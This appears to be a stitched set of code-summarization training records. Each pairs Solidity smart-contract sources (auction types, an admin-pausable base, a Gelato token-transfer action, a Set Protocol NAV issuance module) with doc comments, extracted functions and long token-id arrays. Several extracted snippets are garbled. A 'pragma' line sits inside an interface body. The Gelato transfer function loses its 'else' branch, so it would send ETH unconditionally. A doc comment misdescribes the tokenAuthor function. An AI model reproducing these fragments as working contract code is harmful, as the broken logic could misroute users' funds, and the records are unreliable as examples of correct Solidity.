_ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.6; library DataTypes { struct AuctionData { uint256 currentBid; address bidToken; // determines currentBid token, zero address means ether address auctioneer; address currentBidder; uint256 endTimestamp; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.6; // Contains error code strings library Errors { string public constant INVALID_AUCTION_PARAMS = 'INVALID_AUCTION_PARAMS'; string public constant INVALID_ETHER_AMOUNT = 'INVALID_ETHER_AMOUNT'; string public constant AUCTION_EXISTS = 'AUCTION_EXISTS'; string public constant AUCTION_NOT_FINISHED = 'AUCTION_NOT_FINISHED'; string public constant AUCTION_FINISHED = 'AUCTION_FINISHED'; string public constant SMALL_BID_AMOUNT = 'SMALL_BID_AMOUNT'; string public constant PAUSED = 'PAUSED'; string public constant NO_RIGHTS = 'NO_RIGHTS'; string public constant NOT_ADMIN = 'NOT_ADMIN'; string public constant NOT_OWNER = 'NOT_OWNER'; string public constant NOT_EXISTS = 'NOT_EXISTS'; string public constant EMPTY_WINNER = 'EMPTY_WINNER'; string public constant AUCTION_ALREADY_STARTED = 'AUCTION_ALREADY_STARTED'; string public constant AUCTION_NOT_EXISTS = 'AUCTION_NOT_EXISTS'; string public constant ZERO_ADDRESS = 'ZERO_ADDRESS'; string public constant CANT_BID_TOKEN_AUCTION_BY_ETHER = 'CANT_BID_TOKEN_AUCTION_BY_ETHER'; string public constant CANT_BID_ETHER_AUCTION_BY_TOKENS = 'CANT_BID_ETHER_AUCTION_BY_TOKENS'; string public constant EMPTY_METADATA = 'EMPTY_METADATA'; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.6; import {Errors} from "Errors.sol"; /** * @title AdminPausableUpgradeSafe * * @dev Contract to be inherited from that adds simple administrator pausable functionality. This does not * implement any changes on its own as there is no constructor or initializer. Both _admin and _paused must * be initialized in the inheriting contract. * @dev Inspired by `@openzeppelin-upgradeable/contracts/security/PausableUpgradeable.sol` */ contract AdminPausableUpgradeSafe { address internal _admin; bool internal _paused; /** * @notice Emitted when the contract is paused. * * @param admin The current administrator address. */ event Paused(address admin); /** * @notice Emitted when the contract is unpaused. * * @param admin The current administrator address. */ event Unpaused(address admin); /** * @notice Emitted when the admin is set to a different address. * * @param to The address of the new administrator. */ event AdminChanged(address to); /** * @dev Modifier to only allow functions to be called when not paused. */ modifier whenNotPaused() { require(!_paused, Errors.PAUSED); _; } /** * @dev Modifier to only allow the admin as the caller. */ modifier onlyAdmin() { require(msg.sender == _admin, Errors.NOT_ADMIN); _; } /** * @dev Admin function pauses the contract. */ function pause() external onlyAdmin { _paused = true; emit Paused(_admin); } /** * @dev Admin function unpauses the contract. */ function unpause() external onlyAdmin { _paused = false; emit Unpaused(_admin); } /** * @dev Admin function that changes the administrator. * @dev It is possible to set admin to address(0) (to disable administration), be careful! */ function changeAdmin(address to) external onlyAdmin { _admin = to; emit AdminChanged(to); } /** * @dev View function that returns the current admin. */ function getAdmin() external view returns (address) { return _admin; } uint256[3] private __gap; // contract uses small number of slots (5 in total) } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.6; /** * @dev Interface of extension of the ERC721 standard to allow `tokenAuthor` method. */ interface IERC721TokenAuthor { /** * @dev Returns the amount of tokens in existence. */ function tokenAuthor(uint256 tokenId) external view returns(address); }
* @dev Interface of extension of the ERC721 standard to allow `tokenAuthor` method./
interface IERC721TokenAuthor { function tokenAuthor(uint256 tokenId) external view returns(address); pragma solidity 0.8.6; }
1,657,074
[ 1, 1358, 434, 2710, 434, 326, 4232, 39, 27, 5340, 4529, 358, 1699, 1375, 2316, 3594, 68, 707, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 654, 39, 27, 5340, 1345, 3594, 288, 203, 565, 445, 1147, 3594, 12, 11890, 5034, 1147, 548, 13, 3903, 1476, 1135, 12, 2867, 1769, 203, 683, 9454, 18035, 560, 374, 18, 28, 18, 26, 31, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/7700/0xC7375B107ccb70E1cC362Db55Ec7Ccf874C955e9/sources/contracts/cedar/drop/CedarERC1155DropDelegateLogic.sol
@dev Lets a contract admin update the default royalty recipient and bps.
function setDefaultRoyaltyInfo(address _royaltyRecipient, uint256 _royaltyBps) external override onlyRole(DEFAULT_ADMIN_ROLE) { CedarERC1155DropLogic.setDefaultRoyaltyInfo(claimData, _royaltyRecipient, _royaltyBps); emit DefaultRoyalty(_royaltyRecipient, _royaltyBps); }
4,659,263
[ 1, 48, 2413, 279, 6835, 3981, 1089, 326, 805, 721, 93, 15006, 8027, 471, 324, 1121, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 9277, 54, 13372, 15006, 966, 12, 2867, 389, 3800, 15006, 18241, 16, 2254, 5034, 389, 3800, 15006, 38, 1121, 13, 203, 3639, 3903, 203, 3639, 3849, 203, 3639, 1338, 2996, 12, 5280, 67, 15468, 67, 16256, 13, 203, 565, 288, 203, 3639, 385, 329, 297, 654, 39, 2499, 2539, 7544, 20556, 18, 542, 1868, 54, 13372, 15006, 966, 12, 14784, 751, 16, 389, 3800, 15006, 18241, 16, 389, 3800, 15006, 38, 1121, 1769, 203, 3639, 3626, 2989, 54, 13372, 15006, 24899, 3800, 15006, 18241, 16, 389, 3800, 15006, 38, 1121, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x5bB1a4a7AE0277588Bc7e96D33ac3F58c6b3F22e/sources/contracts/Distributor.sol
@notice Types of stakers.
enum StakerType { CyOpStaker, UNFTStaker }
11,586,156
[ 1, 2016, 434, 384, 581, 414, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2792, 934, 6388, 559, 288, 203, 3639, 22337, 3817, 510, 6388, 16, 203, 3639, 5019, 4464, 510, 6388, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.10; pragma experimental ABIEncoderV2; import {GelatoActionsStandardFull} from "../GelatoActionsStandardFull.sol"; import {IERC20} from "../../external/IERC20.sol"; import {Address} from "../../external/Address.sol"; import {GelatoBytes} from "../../libraries/GelatoBytes.sol"; import {SafeERC20} from "../../external/SafeERC20.sol"; import {DataFlow} from "../../gelato_core/interfaces/IGelatoCore.sol"; /// @dev This action is for user proxies that store funds. contract ActionTransfer is GelatoActionsStandardFull { // using SafeERC20 for IERC20; <- internal library methods vs. try/catch using Address for address payable; using SafeERC20 for IERC20; // ======= DEV HELPERS ========= /// @dev use this function to encode the data off-chain for the action data field function getActionData(address _sendToken, uint256 _sendAmount, address _destination) public pure virtual returns(bytes memory) { return abi.encodeWithSelector( this.action.selector, _sendToken, _sendAmount, _destination ); } /// @dev Used by GelatoActionPipeline.isValid() function DATA_FLOW_IN_TYPE() public pure virtual override returns (bytes32) { return keccak256("TOKEN,UINT256"); } /// @dev Used by GelatoActionPipeline.isValid() function DATA_FLOW_OUT_TYPE() public pure virtual override returns (bytes32) { return keccak256("TOKEN,UINT256"); } // ======= ACTION IMPLEMENTATION DETAILS ========= /// @dev Always use this function for encoding _actionData off-chain /// Will be called by GelatoActionPipeline if Action.dataFlow.None function action(address sendToken, uint256 sendAmount, address destination) public virtual delegatecallOnly("ActionTransfer.action") { if (sendToken != ETH_ADDRESS) { IERC20 sendERC20 = IERC20(sendToken); sendERC20.safeTransfer(destination, sendAmount, "ActionTransfer.action:"); emit LogOneWay(address(this), sendToken, sendAmount, destination); } else { payable(destination).sendValue(sendAmount); } } /// @dev Will be called by GelatoActionPipeline if Action.dataFlow.In // => do not use for _actionData encoding function execWithDataFlowIn(bytes calldata _actionData, bytes calldata _inFlowData) external payable virtual override { (address sendToken, uint256 sendAmount) = abi.decode(_inFlowData, (address,uint256)); address destination = abi.decode(_actionData[68:100], (address)); action(sendToken, sendAmount, destination); } /// @dev Will be called by GelatoActionPipeline if Action.dataFlow.Out // => do not use for _actionData encoding function execWithDataFlowOut(bytes calldata _actionData) external payable virtual override returns (bytes memory) { (address sendToken, uint256 sendAmount, address destination) = abi.decode( _actionData[4:], (address,uint256,address) ); action(sendToken, sendAmount, destination); return abi.encode(sendToken, sendAmount); } /// @dev Will be called by GelatoActionPipeline if Action.dataFlow.InAndOut // => do not use for _actionData encoding function execWithDataFlowInAndOut( bytes calldata _actionData, bytes calldata _inFlowData ) external payable virtual override returns (bytes memory) { (address sendToken, uint256 sendAmount) = abi.decode(_inFlowData, (address,uint256)); address destination = abi.decode(_actionData[68:100], (address)); action(sendToken, sendAmount, destination); return abi.encode(sendToken, sendAmount); } // ===== ACTION TERMS CHECK ======== // Overriding and extending GelatoActionsStandard's function (optional) function termsOk( uint256, // taskReceipId address _userProxy, bytes calldata _actionData, DataFlow _dataFlow, uint256, // value uint256 // cycleId ) public view virtual override returns(string memory) { if (this.action.selector != GelatoBytes.calldataSliceSelector(_actionData)) return "ActionTransfer: invalid action selector"; if (_dataFlow == DataFlow.In || _dataFlow == DataFlow.InAndOut) return "ActionTransfer: termsOk check invalidated by inbound DataFlow"; (address sendToken, uint256 sendAmount) = abi.decode( _actionData[4:68], (address,uint256) ); if (sendToken == ETH_ADDRESS) { if (_userProxy.balance < sendAmount) return "ActionTransfer: NotOkUserProxyETHBalance"; } else { try IERC20(sendToken).balanceOf(_userProxy) returns(uint256 sendTokenBalance) { if (sendTokenBalance < sendAmount) return "ActionTransfer: NotOkUserProxyERC20Balance"; } catch { return "ActionTransfer: ErrorBalanceOf"; } } // STANDARD return string to signal actionConditions Ok return OK; } }
======= ACTION IMPLEMENTATION DETAILS ========= @dev Always use this function for encoding _actionData off-chain Will be called by GelatoActionPipeline if Action.dataFlow.None
function action(address sendToken, uint256 sendAmount, address destination) public virtual delegatecallOnly("ActionTransfer.action") { if (sendToken != ETH_ADDRESS) { IERC20 sendERC20 = IERC20(sendToken); sendERC20.safeTransfer(destination, sendAmount, "ActionTransfer.action:"); emit LogOneWay(address(this), sendToken, sendAmount, destination); payable(destination).sendValue(sendAmount); } }
1,824,041
[ 1, 894, 12275, 11385, 15694, 7618, 2689, 463, 26785, 422, 894, 12275, 225, 14178, 999, 333, 445, 364, 2688, 389, 1128, 751, 3397, 17, 5639, 225, 9980, 506, 2566, 635, 611, 292, 31093, 1803, 8798, 309, 4382, 18, 892, 5249, 18, 7036, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1301, 12, 2867, 1366, 1345, 16, 2254, 5034, 1366, 6275, 16, 1758, 2929, 13, 203, 3639, 1071, 203, 3639, 5024, 203, 3639, 7152, 1991, 3386, 2932, 1803, 5912, 18, 1128, 7923, 203, 565, 288, 203, 3639, 309, 261, 4661, 1345, 480, 512, 2455, 67, 15140, 13, 288, 203, 5411, 467, 654, 39, 3462, 1366, 654, 39, 3462, 273, 467, 654, 39, 3462, 12, 4661, 1345, 1769, 203, 5411, 1366, 654, 39, 3462, 18, 4626, 5912, 12, 10590, 16, 1366, 6275, 16, 315, 1803, 5912, 18, 1128, 2773, 1769, 203, 5411, 3626, 1827, 3335, 21831, 12, 2867, 12, 2211, 3631, 1366, 1345, 16, 1366, 6275, 16, 2929, 1769, 203, 5411, 8843, 429, 12, 10590, 2934, 4661, 620, 12, 4661, 6275, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; import { AddressArrayUtils } from "../../lib/AddressArrayUtils.sol"; import { IController } from "../../interfaces/IController.sol"; import { ISetValuer } from "../../interfaces/ISetValuer.sol"; import { INAVIssuanceHook } from "../../interfaces/INAVIssuanceHook.sol"; import { Invoke } from "../lib/Invoke.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; import { IWETH } from "../../interfaces/external/IWETH.sol"; import { ModuleBase } from "../lib/ModuleBase.sol"; import { Position } from "../lib/Position.sol"; import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; import { ResourceIdentifier } from "../lib/ResourceIdentifier.sol"; /** * @title CustomOracleNavIssuanceModule * @author Set Protocol * * Module that enables issuance and redemption with any valid ERC20 token or ETH if allowed by the manager. Sender receives * a proportional amount of SetTokens on issuance or ERC20 token on redemption based on the calculated net asset value using * oracle prices. Manager is able to enforce a premium / discount on issuance / redemption to avoid arbitrage and front * running when relying on oracle prices. Managers can charge a fee (denominated in reserve asset). */ contract CustomOracleNavIssuanceModule is ModuleBase, ReentrancyGuard { using AddressArrayUtils for address[]; using Invoke for ISetToken; using Position for ISetToken; using PreciseUnitMath for uint256; using PreciseUnitMath for int256; using ResourceIdentifier for IController; using SafeMath for uint256; using SafeCast for int256; using SafeCast for uint256; using SignedSafeMath for int256; /* ============ Events ============ */ event SetTokenNAVIssued( ISetToken indexed _setToken, address _issuer, address _to, address _reserveAsset, address _hookContract, uint256 _setTokenQuantity, uint256 _managerFee, uint256 _premium ); event SetTokenNAVRedeemed( ISetToken indexed _setToken, address _redeemer, address _to, address _reserveAsset, address _hookContract, uint256 _setTokenQuantity, uint256 _managerFee, uint256 _premium ); event ReserveAssetAdded( ISetToken indexed _setToken, address _newReserveAsset ); event ReserveAssetRemoved( ISetToken indexed _setToken, address _removedReserveAsset ); event PremiumEdited( ISetToken indexed _setToken, uint256 _newPremium ); event ManagerFeeEdited( ISetToken indexed _setToken, uint256 _newManagerFee, uint256 _index ); event FeeRecipientEdited( ISetToken indexed _setToken, address _feeRecipient ); /* ============ Structs ============ */ struct NAVIssuanceSettings { INAVIssuanceHook managerIssuanceHook; // Issuance hook configurations INAVIssuanceHook managerRedemptionHook; // Redemption hook configurations ISetValuer setValuer; // Optional custom set valuer. If address(0) is provided, fetch the default one from the controller address[] reserveAssets; // Allowed reserve assets - Must have a price enabled with the price oracle address feeRecipient; // Manager fee recipient uint256[2] managerFees; // Manager fees. 0 index is issue and 1 index is redeem fee (0.01% = 1e14, 1% = 1e16) uint256 maxManagerFee; // Maximum fee manager is allowed to set for issue and redeem uint256 premiumPercentage; // Premium percentage (0.01% = 1e14, 1% = 1e16). This premium is a buffer around oracle // prices paid by user to the SetToken, which prevents arbitrage and oracle front running uint256 maxPremiumPercentage; // Maximum premium percentage manager is allowed to set (configured by manager) uint256 minSetTokenSupply; // Minimum SetToken supply required for issuance and redemption // to prevent dramatic inflationary changes to the SetToken's position multiplier } struct ActionInfo { uint256 preFeeReserveQuantity; // Reserve value before fees; During issuance, represents raw quantity // During redeem, represents post-premium value uint256 protocolFees; // Total protocol fees (direct + manager revenue share) uint256 managerFee; // Total manager fee paid in reserve asset uint256 netFlowQuantity; // When issuing, quantity of reserve asset sent to SetToken // When redeeming, quantity of reserve asset sent to redeemer uint256 setTokenQuantity; // When issuing, quantity of SetTokens minted to mintee // When redeeming, quantity of SetToken redeemed uint256 previousSetTokenSupply; // SetToken supply prior to issue/redeem action uint256 newSetTokenSupply; // SetToken supply after issue/redeem action int256 newPositionMultiplier; // SetToken position multiplier after issue/redeem uint256 newReservePositionUnit; // SetToken reserve asset position unit after issue/redeem } /* ============ State Variables ============ */ // Wrapped ETH address IWETH public immutable weth; // Mapping of SetToken to NAV issuance settings struct mapping(ISetToken => NAVIssuanceSettings) public navIssuanceSettings; // Mapping to efficiently check a SetToken's reserve asset validity // SetToken => reserveAsset => isReserveAsset mapping(ISetToken => mapping(address => bool)) public isReserveAsset; /* ============ Constants ============ */ // 0 index stores the manager fee in managerFees array, percentage charged on issue (denominated in reserve asset) uint256 constant internal MANAGER_ISSUE_FEE_INDEX = 0; // 1 index stores the manager fee percentage in managerFees array, charged on redeem uint256 constant internal MANAGER_REDEEM_FEE_INDEX = 1; // 0 index stores the manager revenue share protocol fee % on the controller, charged in the issuance function uint256 constant internal PROTOCOL_ISSUE_MANAGER_REVENUE_SHARE_FEE_INDEX = 0; // 1 index stores the manager revenue share protocol fee % on the controller, charged in the redeem function uint256 constant internal PROTOCOL_REDEEM_MANAGER_REVENUE_SHARE_FEE_INDEX = 1; // 2 index stores the direct protocol fee % on the controller, charged in the issuance function uint256 constant internal PROTOCOL_ISSUE_DIRECT_FEE_INDEX = 2; // 3 index stores the direct protocol fee % on the controller, charged in the redeem function uint256 constant internal PROTOCOL_REDEEM_DIRECT_FEE_INDEX = 3; /* ============ Constructor ============ */ /** * @param _controller Address of controller contract * @param _weth Address of wrapped eth */ constructor(IController _controller, IWETH _weth) public ModuleBase(_controller) { weth = _weth; } /* ============ External Functions ============ */ /** * Deposits the allowed reserve asset into the SetToken and mints the appropriate % of Net Asset Value of the SetToken * to the specified _to address. * * @param _setToken Instance of the SetToken contract * @param _reserveAsset Address of the reserve asset to issue with * @param _reserveAssetQuantity Quantity of the reserve asset to issue with * @param _minSetTokenReceiveQuantity Min quantity of SetToken to receive after issuance * @param _to Address to mint SetToken to */ function issue( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity, uint256 _minSetTokenReceiveQuantity, address _to ) external nonReentrant onlyValidAndInitializedSet(_setToken) { _validateCommon(_setToken, _reserveAsset, _reserveAssetQuantity); _callPreIssueHooks(_setToken, _reserveAsset, _reserveAssetQuantity, msg.sender, _to); ActionInfo memory issueInfo = _createIssuanceInfo(_setToken, _reserveAsset, _reserveAssetQuantity); _validateIssuanceInfo(_setToken, _minSetTokenReceiveQuantity, issueInfo); _transferCollateralAndHandleFees(_setToken, IERC20(_reserveAsset), issueInfo); _handleIssueStateUpdates(_setToken, _reserveAsset, _to, issueInfo); } /** * Wraps ETH and deposits WETH if allowed into the SetToken and mints the appropriate % of Net Asset Value of the SetToken * to the specified _to address. * * @param _setToken Instance of the SetToken contract * @param _minSetTokenReceiveQuantity Min quantity of SetToken to receive after issuance * @param _to Address to mint SetToken to */ function issueWithEther( ISetToken _setToken, uint256 _minSetTokenReceiveQuantity, address _to ) external payable nonReentrant onlyValidAndInitializedSet(_setToken) { weth.deposit{ value: msg.value }(); _validateCommon(_setToken, address(weth), msg.value); 